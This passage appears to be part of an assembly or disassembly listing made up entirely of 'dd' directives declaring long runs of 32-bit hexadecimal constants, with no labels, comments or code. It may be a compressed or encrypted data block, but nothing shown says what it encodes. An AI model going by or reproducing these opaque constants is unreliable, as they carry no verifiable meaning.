		dd 0B0483BA4h, 9D026D5Eh, 850A3949h, 33A04286h,	0BDA33Ch
		dd 512C5631h, 3212A66Ah, 14143428h, 41918A00h, 0D0226F06h
		dd 15A80789h, 0B4425933h, 0B817C06Ah, 49008C23h, 2556B163h
		dd 758682h, 0EC90AF38h,	5EA6D216h, 0FCB74300h, 76585684h
		dd 0C37BE4h, 0E6A8B52Fh, 0CF5AA4BDh, 90036EAh, 624BA36Ch
		dd 0F29358EEh, 0BA8005Dh, 0FA530AB2h, 5A0049B5h, 0D30E786Ch
		dd 7A7593A5h, 90870097h, 0F4F3EF73h, 771F2E43h,	6D4079EBh
		dd 13E1D78Bh, 3F5D00C2h, 554F4027h, 4300FA8Ah, 5E5AB117h
		dd 737F3620h, 0BDB50E0Dh, 0B300F10Eh, 69C5795h,	12FC1C5Dh
		dd 3D70Bh, 0F8CE0C73h, 0A23107F1h, 2C2CF6A0h, 0E15B0077h
		dd 55590C86h, 0E5D18700h, 75CF8918h, 0C2FE0042h, 0DC953B12h
		dd 53008C48h, 0F6AF34D9h, 0FA20D835h, 0DD700030h, 376DA92Bh
		dd 0BD098F54h, 147D66h,	0F0B39571h, 2F278A2h, 182A8099h
		dd 0EC4809E2h, 5F0370A5h, 34A2110h, 6A7CC849h, 3A4B00DFh
		dd 0A184271Ah, 205706Fh, 0FBE65D66h, 0D70C88h, 0F51D36ECh
		dd 0B09DA78Dh, 4FE38A04h, 84C1F076h, 28601C16h,	3E3CFADDh
		dd 0AF8456FAh, 98147859h, 84266028h, 2C800427h,	0AFDF5B5Fh
		dd 0E516009Ch, 0B7D4EEF0h, 8760CE66h, 641A0859h, 149116E0h
		dd 804C5C74h, 0D2B19A0Dh, 0C0007CB9h, 6216B76Fh, 3EB5E5h
		dd 0A039BCEBh, 0BE15A18Eh, 3A0FDB1Ch, 5B43CAC0h, 24FDE111h
		dd 8434862Dh, 80B5CC30h, 0ECF7AB11h, 85D4BD00h,	0CDB15F03h
		dd 0A6C200DAh
		dd 4EDB90Ah, 0AD00D143h, 0F529E392h, 0EBFF1C1h,	3ACC596Fh
		dd 6A736163h, 23C0569Ah, 6000AE16h, 65CD583Bh, 77F54C8Bh
		dd 744F0351h, 0D15587B2h, 0BED9B8A8h, 8E1711FCh, 0C1122B75h
		dd 0ACF243Ch, 0FA0D0BD6h, 18F1E7C0h, 5CB54E80h,	554614Ch
		dd 50F33896h, 504C8AFCh, 5C599E29h, 0E605004Ch,	0FDABCCA6h
		dd 2A9A00B9h, 0B319D2F3h, 40FC3777h, 74381B2Ch,	0EE4CF28Ch
		dd 0E2BA0108h, 0AF73679Ah, 0A88C6068h, 911D7773h, 0B8EE01F4h
		dd 598487BFh, 0DE24FEB4h, 0E2F50080h, 866B01A3h, 0B0CD8D8Ch
		dd 0DAED40F8h, 20010763h, 0CCF99551h, 10220DFFh, 841E28h
		dd 0A33D2736h, 0F00FCE30h, 289DBD00h, 561D026Eh, 154F00C1h
		dd 668160E3h, 0EB000F32h, 49C6B34Eh, 6ED936h, 0C7541CE6h
		dd 0FBC2B16Fh, 9C5AC400h, 1D7F6974h, 935006Bh, 869527D4h
		dd 1005FD4Fh, 99B2E8AAh, 8977F0C0h, 2C0A5DB5h, 0F4DA7E00h
		dd 3B07D74Dh, 58CF0B26h, 5368C38Eh, 10BFF462h, 0E014415Ch
		dd 84DF1Fh, 0ADB3459Ah,	5DB1980Eh, 10007817h, 587B5C5Ah
		dd 5601F16Dh, 33D9F7BAh, 4089FE1Fh, 7810D4D2h, 20397DD3h
		dd 0B5140ADBh, 6B80B09Dh, 9651691Fh, 0A0450059h, 0F30716E3h
		dd 7928B8ABh, 0E9E8F886h, 23A9B201h, 1E637542h,	6027FD30h
		dd 0B1CF34DCh, 41246299h, 82B92CEFh, 0F76C64E6h, 0EC40A06Bh
		dd 49F94F5Bh, 0C400A85Dh, 51C526CAh, 48C0240Bh,	4C7C00Ch
		dd 60987497h, 7FDB685Eh, 0AF58A188h, 0B0B38F8h,	74FE124h
		dd 80D0CC30h, 26756099h, 3B7265D9h, 67EC1Dh, 25B6DFF1h
		dd 649A0807h, 0BC8D16A0h, 8ADC7A00h, 1787B91Eh,	642D015Ah
		dd 7E894FE9h, 0DAD8CC56h, 32F86B00h, 0A911676Fh, 4C68000Bh
		dd 72813CE8h, 0C1752592h, 0BF659D1Ch, 40CFF00h,	565FA7h
		dd 38270316h, 3F8FBD64h, 7A05BF03h, 88C51E7Ch, 0DA67EBh
		dd 0B25862CAh, 7512E2E8h, 0CD239600h, 0D2A9369Bh, 850B02E9h
		dd 1EF7CFA6h, 0E021DEE1h, 4E1D3B8Eh, 0E31F3CFEh, 1DB0AA40h
		dd 1C2C0E61h, 0C0B92459h, 0D028AC18h, 0C81D7A4Bh, 0A94D9BBDh
		dd 9830EE87h, 0E5C4006Eh, 7CD56DC1h, 6090DBCh, 0E0C8EDA3h
		dd 734E44h, 26FA391Dh, 0EF6669B7h, 0FC8E511Fh, 0E5812D1Dh
		dd 67348438h, 3D9D82F4h, 7B0006F7h, 25C5D556h, 7F00AFBAh
		dd 0CDF50FEh, 0C09F8D9h, 0FB6B52E2h, 0EF1E2260h, 0C7402CC6h
		dd 8F499A50h, 8CEB0048h, 0D888AB73h, 0A8587DA1h, 1F5A1349h
		dd 0A3A038C3h, 5B4100F9h, 9F2DBBFh, 3700DA35h, 1F38BBC0h
		dd 3A80D1CBh, 8500BC55h, 2BE80C47h, 4F00C949h, 0E939E1E0h
		dd 0F723DC4h, 1EFE44A9h, 635AB301h, 0B6C3D0Fh, 92D3645h
		dd 0E82C008Dh, 0CCF42Ah, 0ACA2EE7Ah, 0DBFF08D1h, 80F04200h
		dd 95AF45EBh, 5E3B009Ch, 2AB65B96h, 0E506E1FDh,	1A0BCB9Ah
		dd 0B7E80260h, 0C4823140h, 2AB180A0h, 57716F52h, 1D7923Ah
		dd 0E93BB98Eh, 0C450CA4Ah, 7589C53h, 0A48F47A1h, 0E5C81348h
		dd 3855DCE0h, 500E972h,	6ECEA253h, 38801F0Eh, 23804589h
		dd 0D5AB4C02h, 8E0FC9F8h, 41EACD66h, 24E82B9Ch,	0F9DAD0h
		dd 0D2561F3Bh, 9B893E03h, 0F654A000h, 8A0272A9h, 0AA7517h
		dd 0B78868FCh, 0D1B460D4h, 9DF1BB04h, 0EE406E75h, 0A0213F2h
		dd 38014503h, 0A30B90E6h, 1BE900CAh, 9EA313EDh,	0BB035704h
		dd 760A50FFh, 7D74D096h, 82FB03A0h, 7838F265h, 0D4BAFF99h
		dd 4115CE4Ch, 384CF9Ah,	7A6F4DBBh, 0AC2880B4h, 2B0CCAC2h
		dd 5E0380D8h, 56B1F735h, 1ECF9600h, 0A77D738Bh,	40F6602Dh
		dd 0CAC33E42h, 0F001B87Eh, 0FDAF9CFBh, 0F838222Ch, 0C210E000h
		dd 0E17189EDh, 3CB58E00h, 0BDD1B363h, 60B206h, 0A001AFF6h
		dd 2B19FA4Eh, 4F240900h, 442595E5h, 0F7D00D2h, 0B6A5521Dh
		dd 682A59C3h, 902198B3h, 12878576h, 0FEC68107h,	0D9984937h
		dd 784000AAh, 0DF860012h, 626FFF2Dh, 2631BC9Bh,	56A8F002h
		dd 707E3D7Ch, 5D270764h, 85C00577h, 8A3AC0F3h, 1601B092h
		dd 833FCFDEh, 0CAC81239h, 5E3300AAh, 0D65B844Ch, 50E09495h
		dd 0C63AC03h, 0A8E26627h, 3932E02Bh, 0A50353F9h, 6DD2D99Fh
		dd 0F6201A80h, 9BA8FE00h, 8D86DD9Dh, 75B2004Dh,	3F4328EFh
		dd 811F8833h, 5900A785h, 0ADDCE493h, 29C70F62h,	5040F26Bh
		dd 31A43872h, 0A85BE81Fh, 807BFB0Eh, 0ACC984CEh, 390B748Dh
		dd 4C0040A9h, 5EC0F6C5h, 0CA009ACCh, 1E3550E6h,	0F39C2Dh
		dd 1C73F1F2h, 954E5213h, 40E40D01h, 2BB7F6E2h, 0C8C05DCDh
		dd 4C7201A3h, 742E8242h, 67D4FC27h, 0FC653Eh, 0AD318452h
		dd 264C7E06h, 3D5596Ah,	7197F0E8h, 7C2BEAB8h, 5CB80E5Bh
		dd 0F8090200h, 2C47D19Ch, 0E0F9FEF8h, 73366F74h, 0B05086h
		dd 55BD0F93h, 0D2BF59E0h, 6EB5F000h, 0EAF51B62h, 334E0024h
		dd 59DF75E8h, 1A00923Dh, 0F6D2F082h, 303FF372h,	63619B02h
		dd 700419AAh, 0F6BF6758h, 0C0C24904h, 0ED2DCD8Ch, 0E8E00200h
		dd 8132EFDCh, 1D907DE7h, 790959DBh, 9C48A330h, 0D0616653h
		dd 80815E41h, 0CBEBAC51h, 42B903E3h, 0D36590A9h, 9E1C2803h
		dd 83117317h, 8A0DD88Eh, 58AC3A5Eh, 0E63EDF03h,	71980FF7h
		dd 10000785h, 26AE1166h, 3ACBD90Dh, 51009080h, 0AD7C4CC8h
		dd 6D00F0F2h, 0E6266F60h, 20CEB5h, 0C35C42DFh, 0DE829785h
		dd 0C2347A00h, 0EB1FA645h, 27D0F728h, 0E158C0A3h, 10AD7E7Dh
		dd 1D12E000h, 6ACBD0EBh, 66F4009Dh, 0F0585F19h,	0A1001CF7h
		dd 551D4CFAh, 38D4F2E1h, 0BAD8064Dh, 4AE74E00h,	0BF04C0BAh
		dd 8BB87213h, 10FBF80Ch, 371B1FA8h, 0F1A4C398h,	9DC3F2h
		dd 11E4E30Ch, 500C535h,	0EB3F5ED8h, 6E52DCh, 6DC67E9Eh
		dd 0D4F3E433h, 46A77800h, 0EA7D806Ch, 5ECE1EACh, 200B3B4Ah
		dd 0C000D375h, 3B394C8Bh, 10CF2530h, 0D56A0Eh, 0D6897C4Dh
		dd 9AEFA27Fh, 46343Ch, 69185B20h, 0C614E1h, 7C3F246Fh
		dd 0CEF45836h, 351D6C00h, 9E7E745Ah, 0E088797Ah, 83FF0064h
		dd 9CA9051Fh, 671D9919h, 8F0988Ah, 7FFDBF7Ch, 0B0520083h
		dd 0F04C3527h, 860092B9h, 0B44CC61h, 20D7D1h, 0E12F727Ch
		dd 0C1CFE67h, 0C88F9F28h, 34947A29h, 8B03101h, 18EE3A45h
		dd 0D981BD3Eh, 0F7B0E4h, 52EC8B90h, 4CD3FB66h, 0EF9939h
		dd 280E8126h, 2A7AA184h, 22C5FC7h, 4265B032h, 0EF1866D2h
		dd 971080EAh, 0A831B00Ch, 630D50E4h, 6A69A0A1h,	3ECC4000h
		dd 64EB198Bh, 9E61A50h,	601770C7h, 0EA804111h, 0AD5BD1AAh
		dd 13D04C00h, 80536F7Eh, 0CC100C0h, 6787F7BAh, 92B8AD4Ah
		dd 9BF80E7Bh, 71BF6303h, 0C8D272B3h, 0C422E8h, 0F5913C67h
		dd 9EE13265h, 80A32C3Dh, 0C119D02Ah, 0BAA18Dh, 97EE553Ah
		dd 0CE8C8F35h, 0DB00D890h, 0DDF45292h, 25E6CE8h, 2FDE5C45h
		dd 0D6C07187h, 0AD07B11Fh, 9D2CA847h, 0D0933DB0h, 568E00FEh
		dd 0E786FB94h, 18000188h, 0AE6429ACh, 336F66Eh,	44269762h
		dd 1A889AE0h, 67095A1Ch, 83648DF5h, 8052D691h, 7C56AFh
		dd 92ADA8BAh, 26C0F721h, 0E574B579h, 0CDC6121Eh, 0D77351C0h
		dd 31C7251Fh, 91081862h, 0D8208027h, 0B684165Ah, 0CD45008Eh
		dd 8D176DEDh, 0A200CACEh, 0C895DD1Ch, 0DE2847BBh, 8D70030h
		dd 0BF28C54h, 2700EDF0h, 6A562E71h, 0B819F1D9h,	0BABC00E8h
		dd 239E906Bh, 5B05ADD4h, 0BB4226BEh, 50CE4C40h,	87188BC0h
		dd 50DE2D00h, 0F96F782h, 9F698199h, 196A1D40h, 3CF42C11h
		dd 0E53B2F1Ch, 0EC596B1Fh
		dd 0DDECFC38h, 4F4100C5h, 0E391364Ch, 0A90644FDh, 5BAE012Fh
		dd 0BFC62429h, 942309h,	7C6150DBh, 20862770h, 1E1D03D9h
		dd 0A3C21643h, 8046AD4Eh, 336E801Ch, 40C100F0h,	0B8CFE2F1h
		dd 8CA0D523h, 0AC003432h, 0C59D8B20h, 0DC9A686Ah, 0E1120208h
		dd 7C40C726h, 0C9274780h, 92584Bh, 633E5986h, 6976FEEBh
		dd 0D3AD391Eh, 0B1BD6E80h, 3E3C96D4h, 4009C6Bh,	0AF427577h
		dd 0A00302D3h, 0A73E55E2h, 237480D7h, 94E90760h, 3437A97Fh
		dd 2FF0C064h, 0E100C980h, 0FF773603h, 0E689F44h, 0A8A6AAC7h
		dd 0C979080h, 2B73346Ah, 67577A00h, 0B75AE02Ch,	41460002h
		dd 50BBEB86h, 0D67FDD03h, 857F2600h, 25CD8B27h,	53771F33h
		dd 2307C06Dh, 0D4D8B67Dh, 1D7D65Ch, 0CC5C786Eh,	0B8D1BC89h
		dd 76CF8E8h, 90318F5Bh,	3F58D320h, 77DAFE00h, 1FE65518h
		dd 0C7BF7h, 9BF9225Dh, 9ABCC29Fh, 0A12C9200h, 0DF9469E1h
		dd 0FF7B07EFh, 4A54B7EAh, 49020010h, 3689DC69h,	60E82B50h
		dd 0F4246767h, 77C12CA1h, 3158D3F4h, 0E4209D24h, 92A00149h
		dd 0BD3B1E10h, 0A009DE6h, 1A59C425h, 79924A55h,	815B30DAh
		dd 0B4E07A28h, 0D924FC00h, 0E8DFD3FEh, 0C095E8FFh, 68990C49h
		dd 0D03B778h, 72A0DA65h, 545B9008h, 0B36B075Ch,	0F07C2223h
		dd 59CC016Dh, 982DE301h, 0DE27D01Ch, 13F0E0h, 0A116BB77h
		dd 66F9D852h, 50837407h, 8A1EE65h, 0DE20E0C6h, 591D0037h
		dd 594DFBEh, 0E00A839h,	28DC6CF1h, 0A48EAAh, 1BEE53CCh
		dd 6675BE60h, 0C6039FEAh, 0B054267Ch, 5661DFBCh, 0D1FC824Fh
		dd 0A7160F96h, 0FEE7D80Ch, 33EB3074h, 241D4112h, 0B8004289h
		dd 4D401E06h, 2FAC005Ch, 2BE9559Dh, 0ECFFD2A4h,	830034C2h
		dd 20197F21h, 0F2D61243h, 7E6FCFBh, 0E379A8E4h,	0F40B273Dh
		dd 47618073h, 0D73B9EFCh, 9FE0BB19h, 0EA006CB0h, 109FD011h
		dd 4006370Fh, 0D4CC8048h, 85014FDDh, 66D1EBB0h,	7A80985Fh
		dd 3E612650h, 0AB007D5Ch, 238F1BB3h, 67DFFEh, 19A56059h
		dd 0DCBE5705h, 83E33B17h, 0E080851Bh, 72B13ABh,	0BC6A14CFh
		dd 0DB7B8082h, 3401F640h, 64F0C9C8h, 90801293h,	861CA74Fh
		dd 900FAE6h, 42559623h,	171618h, 0C05A6AF3h, 4A49C1CAh
		dd 0DD3FC2F0h, 22B3812Ah, 1489AD07h, 0CCCDC880h, 3F325545h
		dd 0E82B0137h, 529B808Fh, 0E67472F9h, 0E57F8Dh,	4EB1F5C1h
		dd 0BD1F029Eh, 0A110FF00h, 0A4572320h, 133F00D1h, 0AD21BCB8h
		dd 1E02C5AFh, 0FE9DE226h, 0C416E0F1h, 0C29600C8h, 1D82620Eh
		dd 0F71D86A2h, 0C0CADD0h, 0E92095h, 4052AC2Ah, 0E63DB980h
		dd 0AB9F8B00h, 8A47AA56h, 3F57FEDh, 0A48F76C9h,	4DC04E3Bh
		dd 8E01499Eh, 913D4771h, 1300C8B5h, 0D3035018h,	0E351EB42h
		dd 0A31800C3h, 7DEE8524h, 0E824E72Fh, 3030D58Eh, 7E8D6AC4h
		dd 0D69500F9h, 0CDB53686h, 0D21D7E44h, 3D062F02h, 0A8D818h
		dd 4D226592h, 7DC2C649h, 9C988407h, 20DC8F2Eh, 0CB450676h
		dd 118E5146h, 0C6E2AF03h, 9731A6E1h, 44021BB3h,	1768C08h
		dd 0BDC7230Dh, 0C88D54DCh, 8A00AC5Eh, 1D4B7EA1h, 860180h
		dd 0D2F9DB3Dh, 4AAA228Dh, 861BD75h, 0C9AD5018h,	0EC254881h
		dd 204D45CDh, 9361F531h, 9AB18961h, 3EC7F2F4h, 50728002h
		dd 0F533D03Dh, 0B204B70Ch, 0ADD5AE54h, 0B6202F32h, 67AA4Ch
		dd 7DB20841h, 5F561248h, 0DA9DE400h, 8197DC02h,	88B7003Dh
		dd 0A1B367C1h, 79F23423h, 8EE73800h, 7A8ACC8h, 0B9AE0043h
		dd 49F2328Bh, 9A008F3Dh, 0ACDB30A4h, 0D48CD6h, 2F50895Dh
		dd 3BA24C96h, 0CECCB900h, 0B361E258h, 3575005Bh, 8A7EA504h
		dd 0E700A647h, 634B564Ah, 1A1BEB1h, 2959AF1Dh, 0D40637C4h
		dd 9F007E45h, 0B304F911h, 1F1B98h, 74D6424Bh, 64EA6F5Fh
		dd 98C2CC0h, 4A1DA2h, 0E707A97Eh, 0F5C38EA1h, 5D9FCB00h
		dd 6B1A99ADh, 0F81300CCh, 0A9815A84h, 561C602Ch, 0C9C0652Eh
		dd 0C3237B24h, 88BF0055h, 0AB4BF0D4h, 0C0787E48h, 62F23A00h
		dd 70FE3693h, 0AFD600B8h, 1FC76E06h, 5003455h, 3B617E29h
		dd 0CFA1678Dh, 54A0B540h, 0B0D31A69h, 0EEFBF80Fh, 5D8FA05Eh
		dd 0A8138Ah, 6745DDEBh,	0C8E3FC53h, 37D1F703h, 0B70C5C28h
		dd 0C0E63F93h, 7361892h, 56396A9Bh, 47A02FCEh, 0AFB7462h
		dd 5ECFB209h, 9B5704DCh, 0DB53BE80h, 0ADEF000Dh, 6FFED469h
		dd 8D063A8Eh, 9E30440Bh, 0C46A0F30h, 8C8089EDh,	0BF2317D5h
		dd 0A71A060Ch, 0EE63F092h, 0DF550109h, 0A9402945h, 891BF08Ch
		dd 6052DB30h, 0A08AA4FDh, 4049F82Ch, 264228D2h,	751FA311h
		dd 0BD088742h, 408DE16h, 4EA04FB0h, 48FD0E79h, 44B408F5h
		dd 0C122EC54h, 0D4F4C88h, 46DF5861h, 0F31814BFh, 441EB859h
		dd 6F307393h, 61ACB0D1h, 9150883Bh, 0A0BFD088h,	8811072Ch
		dd 58A180FBh, 0FC21E671h, 0AF138D39h, 0F00276BAh, 0D367007Ah
		dd 63C9929h, 1FBB0085h,	535B5881h, 76340309h, 6D5533DFh
		dd 8F56E480h, 5ACC80C0h, 0EA386543h, 0C6CA0106h, 0A37FBDBh
		dd 0BBCF008Ch, 0E91B00E5h, 0DD4C1B7h, 0A705939Fh, 100B8063h
		dd 498C8E80h, 0A06A01F8h, 609213EEh, 4FB020F9h,	86B1A8A0h
		dd 56019501h, 6F6EFA06h, 3048C570h, 23A80905h, 83009153h
		dd 0B274C2CAh, 0EBE22C3h, 7A7831B3h, 1AA0C47h, 438F5798h
		dd 56988DECh, 0F00052BFh, 72147AF2h, 1715CEEh, 0D1477476h
		dd 603B4E65h, 950788C8h, 0B835B404h, 9D0CDDC1h,	3A0424h
		dd 32600A28h, 41F43C63h, 0FC2DA225h, 9390FD8h, 0B9C24263h
		dd 0A4C808Fh, 9D12BC4Fh, 50411FF2h, 84F36F72h, 10247FCh
		dd 34B91AA5h, 0CC80EDC7h, 0E1F6879Fh, 48540B74h, 956015C8h
		dd 0AAAF7C1h, 7BA916E8h, 0F9EA00C1h, 0F10B6E18h, 0AFD47F03h
		dd 27A864CCh, 927CC861h, 94BC4B80h, 907C15h, 0B2E401C5h
		dd 16EDEE9Fh, 68D91360h, 0F065E72Bh, 7B11C06h, 0A1AE005Bh
		dd 4516DE63h, 4D389F00h, 0C7421BEFh, 81190026h,	30277B25h
		dd 5404F486h, 4C30B93h,	12570090h, 0CF451EA4h, 745C007Bh
		dd 3CD652ECh, 81C93B3Ch, 200CD27Ch, 0C1E60E81h,	29F8920Dh
		dd 0F98B0E46h, 0C0A0FAA6h, 7581C5Dh, 6100C2B8h,	3C7DE54Fh
		dd 23890Eh, 7E981D85h, 80D05584h, 0AE9B1800h, 0AB168A51h
		dd 307B0EA8h, 0E1202911h, 81DF733Ah, 690753FCh,	34D890C9h
		dd 1C5BA950h, 86E13CA7h, 8950BE00h, 0E342518Bh,	0D90F26FCh
		dd 9160E6h, 54B5976Fh, 0F52E003Ch, 291766AAh, 7800761Ah
		dd 0AC3B18BAh, 2C3DA4F8h, 0A6FD4Bh, 0A27164DAh,	1226539Eh
		dd 0B500977Ch, 2652E36Fh, 7D8A0001h, 0F205B9F8h, 37077B8Bh
		dd 173E2E57h, 8677AAD0h, 69703B8Eh, 7C1F3880h, 76E04D49h
		dd 8FA73500h, 87D93A07h, 73750CEFh, 86067FC6h, 0EE00DE7Ch
		dd 2A576ABFh, 60545FCEh, 0DB5C19C9h, 3EF014F8h,	0BA536200h
		dd 943C858Fh, 1DDE0048h, 0EC5C3586h, 6903875Dh,	2F65C609h
		dd 40291141h, 0E76F0826h, 0FAEB0856h, 0BD22F384h, 44936404h
		dd 115FF714h, 61B412FBh, 8854405h, 7F280786h, 0C2738917h
		dd 7B4C5721h, 11E58C01h, 5F2047Fh, 0AB3C16F7h, 5028CC18h
		dd 9BCF88E0h, 3C06A58Bh, 1029CC64h, 1944DFF4h, 0FFF18426h
		dd 27232840h, 92D88089h, 0E802C9CEh, 6E630855h,	86F1AB84h
		dd 0E329DC0Ch, 0E472C0E2h, 0DDA1A003h, 882E2084h, 0E80F18h
		dd 53654D67h, 7CA8C948h, 0A135D601h, 0B67FED4Ah, 75885DCh
		dd 67533DE4h, 66E9E097h
		dd 8EF2DCA7h, 0EF75CB00h, 61C17062h, 851C0093h,	0F84510B9h
		dd 0D801B332h, 5FF4CB25h, 0A660D734h, 54680066h, 0E6C4F37Dh
		dd 8E0092D9h, 0CEA7D871h, 0E30E8Ah, 4038AEFFh, 58F03ADFh
		dd 0C4039900h, 3626145Bh, 0BDB90711h, 60A81F94h, 74C00901h
		dd 855E103Dh, 80887DD7h, 7F1FEF80h, 0E45D00E5h,	44CAF1A8h
		dd 90047FEh, 38F490DCh,	33CE14h, 108F54EEh, 0C8D5AA63h
		dd 0FFE66D01h, 0DDEAD06Fh, 1E3B5530h, 9E20D9Bh,	0BE8016C2h
		dd 0BEB8A678h, 6418D000h, 0F14F2431h, 701C00C4h, 0CFC563D3h
		dd 0E7E85AC8h, 69F3B503h, 8B35B781h, 7A868055h,	0E1D9009Bh
		dd 0A99DFE8Eh, 0FC0070B5h, 4398DEE5h, 70FD7CEh,	0CC815AEh
		dd 0C0CD505Ch, 4F01BA24h, 0E0D040A2h, 0AFE49F25h, 68E91C70h
		dd 85900D7h, 0CA3BF34Eh, 34588D00h, 0FB6319BCh,	0E30A0102h
		dd 0F34A3EA2h, 0F0B0D30Fh, 0BDEC65E9h, 16974300h, 1ECADA4Bh
		dd 0FE2030EEh, 75E9C6F8h, 171C9A00h, 92ABAE27h,	0E2F039Fh
		dd 0CBC7D981h, 0B9A12107h, 2DC06C18h, 1B0244h, 5022FEC2h
		dd 2C0A35E5h, 6600A898h, 0C72F6413h, 5AA859h, 163294BBh
		dd 73FFD7BFh, 50AD0B01h, 29D69C0h, 1666A9D4h, 0BF07A8h
		dd 0E4B8A491h, 1B01F9AFh, 4671B728h, 80D872B3h,	0DA1607E8h
		dd 49F265h, 0F810F63Ah,	0A4FBAE00h, 67A24C1Ah, 8A03B31h
		dd 1F001DC8h, 6CA3839Dh, 42004061h, 0F60481F7h,	0DE8932h
		dd 3109AD03h, 54C2FAC1h, 79F5000h, 2914FC34h, 0EE6B099Ah
		dd 6A801F1Bh, 0A9CAD2A6h, 0F54F9900h, 8A36FCC2h, 7E3E006Bh
		dd 90F6A1C0h, 5807A4BAh, 501EC9E3h, 0F80F4FC0h,	3FCE00EEh
		dd 2CD57934h, 42778187h, 0C43EB000h, 43537E58h,	0D71600B7h
		dd 89F6A6DEh, 0AD0EC0A2h, 0FFDC863Dh, 0F818C100h, 0EB17D1h
		dd 292DA0FDh, 7B651B8Fh, 0EDECCA0Eh, 60148EC0h,	1972CE4Ch
		dd 0F3BF00A2h, 5B0BEA4Ah, 0CF00DD28h, 87349323h, 1FC2AE3h
		dd 0CD545A2Ch, 0EBA1665Eh, 4A61BD8h, 90F0432Ch,	600F2924h
		dd 5553C02Dh, 0E016F86Bh, 0D41204CBh, 0C092344Dh, 0B9FE2AE4h
		dd 1E086D00h, 96E079C3h, 6597C93h, 0C7EC270Bh, 950020FDh
		dd 0E83C7A10h, 0F23A180h, 9E50F8C4h, 65AB1720h,	0F70088FFh
		dd 81CFB960h, 248C5835h, 401C8078h, 2CDEBA68h, 15032D7Bh
		dd 6DF07A2Eh, 0FA27C0CDh, 92701E2Fh, 55DA0069h,	3BC480EBh
		dd 0B2D4B300h, 0A427827Dh, 5A73CFh, 0C93432C2h,	0DA31AB2Bh
		dd 0E1754103h, 81825911h, 12C9721Bh, 98CEE4h, 14A22D64h
		dd 759D973h, 0B3162000h, 2EA566C4h, 81002B2h, 5A98D484h
		dd 0FA5B60D7h, 3E2AE002h, 810327C1h, 792FB4E8h,	99D35AB8h
		dd 1DD27E3Ch, 3D87140Ch, 7180ECB9h, 4C27F829h, 8605743Bh
		dd 76BA25h, 0F008C6ABh,	0E900F185h, 8DA79790h, 1F1F3423h
		dd 611622h, 0BD40776Dh,	850057FBh, 25A5C39Bh, 134A28h
		dd 3F8178ECh, 0F750DF42h, 0CEFB5800h, 411A0547h, 0D0EE0553h
		dd 0C07846E9h, 0FB5C6D95h, 0F4D7AD0Eh, 61E7204Eh, 3C7F9Bh
		dd 8D58523Fh, 315EB71Ch, 0F8CEB00h, 8E3E978Bh, 0F5A93CB3h
		dd 929049h, 0D9F4819Ah,	92008576h, 82DA7880h, 1248EBD6h
		dd 0ED0F45h, 0B8FF6185h, 300077E0h, 9464EF70h, 0EB2201Bh
		dd 46AE05C0h, 31C86620h, 0A10374DEh, 47F16CFDh,	0E3DAD821h
		dd 0C9190033h, 0D02E37DCh, 557AFC8Fh, 0ECB83076h, 0ECCEE800h
		dd 0D50121A9h, 0C4FF17F1h, 0A3900051h, 0CAE32ADAh, 91F0F400h
		dd 0F9540247h, 0D3DE018Dh, 0C72687EDh, 0B090F828h, 0DAC38113h
		dd 0D6CA5000h, 8F562Fh,	43A4108Ch, 23610CC9h, 465DE800h
		dd 0AC1612D1h, 4B70708h, 377FDF41h, 0CE208FD9h,	6248338Bh
		dd 4702F100h, 0AED2B852h, 0FD9A003Eh, 78CA2D43h, 7400459Ch
		dd 852E0266h, 1F8B6B90h, 806FDC20h, 5F2696D6h, 73003CB5h
		dd 8C323361h, 0AA05A8Ah, 4D462E7Ch, 0CD12D4h, 0F89C7BA8h
		dd 0FE004002h, 0CF380EB2h, 97D1E68h, 6270CE48h,	0EDBF4E80h
		dd 0F7E6FC7Ah, 85FF1100h, 24A8336Ah, 97CD3B62h,	0B0C8C0F9h
		dd 0C6543BD9h, 4867C90Eh, 0B24C82BAh, 1D3940FAh, 20D763CBh
		dd 6F80847Dh, 0E9003AB6h, 96DB4A39h, 7B06Dh, 0D04E5C57h
		dd 0D32CACEFh, 132870EBh, 0B0154726h, 670BA117h, 1B87FD2Bh
		dd 5ECB0F7h, 1700FD5Bh,	0CF793E67h, 740337Fh, 8BCD9029h
		dd 56D550C9h, 0C300419Eh, 2CE9BB17h, 147831h, 0A399D795h
		dd 7010F34Dh, 834C581Dh, 825ACC80h, 0E3B9E0h, 0CAC2E9B7h
		dd 0AF33D450h, 11208E00h, 0ACFE287Ah, 0A08400B8h, 5CD28297h
		dd 9007F942h, 0B9C0EE40h, 0D67ED0C0h, 975200C6h, 62236A46h
		dd 0E0CB33Eh, 32FD8D74h, 0C69C12DFh, 0D14079Eh,	8819E0BAh
		dd 0AE03A64Dh, 0A46E73EDh, 207BB5h, 8AE33208h, 4505B4A5h
		dd 0D1AE1F00h, 0D2DB23A4h, 64FAF08Bh, 8090C4D8h, 0DE35EFBCh
		dd 0C475B42Eh, 2D208660h, 84E70006h, 0F3D233A2h, 2700FE8Bh
		dd 62A7B7C9h, 3C761A16h, 25923A72h, 0B49040CFh,	0C8FC512Ch
		dd 93854Ch, 86586D90h, 3D52AB09h, 0E7CCD6CCh, 99080600h
		dd 4D7BDD38h, 0D5862400h, 7E6F9F7Fh, 443C00F3h,	0B5CE56C0h
		dd 0A00052Fh, 0B0AA250Ch, 7A0E8985h, 23DB07B6h,	8342D2C5h
		dd 6A03BE96h, 6530BD87h, 5CDF904Fh, 0A240FB5h, 0CCE35E7Ah
		dd 5EB8B52h, 0F05A2000h, 9E4285A5h, 4A16004Dh, 4C3B6B7Eh
		dd 0B9581881h, 0D42B000Bh, 0A2589E52h, 0EE21E85h, 764A80D6h
		dd 0F8DFA631h, 0CAE3507h, 2013537Dh, 0D39DB88Ah, 0DE880EFAh
		dd 0E34026FEh, 0A0F66811h, 0C0286D00h, 0B7E6CE42h, 89C30069h
		dd 2BAF2C67h, 0E9E0E237h, 0B8C4F400h, 0FF1E1FF1h, 942F0049h
		dd 5CC74AD5h, 60182E8Dh, 0AD1E77CFh, 92980Eh, 0B6A19499h
		dd 2A218991h, 66E25E1Eh, 206B023Fh, 80467C82h, 50F6998Ch
		dd 213A3EA2h, 73164CF5h, 0C8E45D00h, 0E978ADC6h, 0CC1E2739h
		dd 1DBF01D6h, 0DF5223B5h, 5D8C20h, 48F5E299h, 443EC498h
		dd 190024FCh, 436685A1h, 30B19E03h, 2AF1DA8Fh, 7401B6A8h
		dd 3F589226h, 0FB304DC7h, 22E0082h, 14F46265h, 0F202303Ah
		dd 0B1F686BFh, 42A4E281h, 0E8DCCB61h, 614A94h, 0D108E80Bh
		dd 4F015A72h, 0D364F407h, 0D5838FFCh, 2DC1F005h, 0E2A400D7h
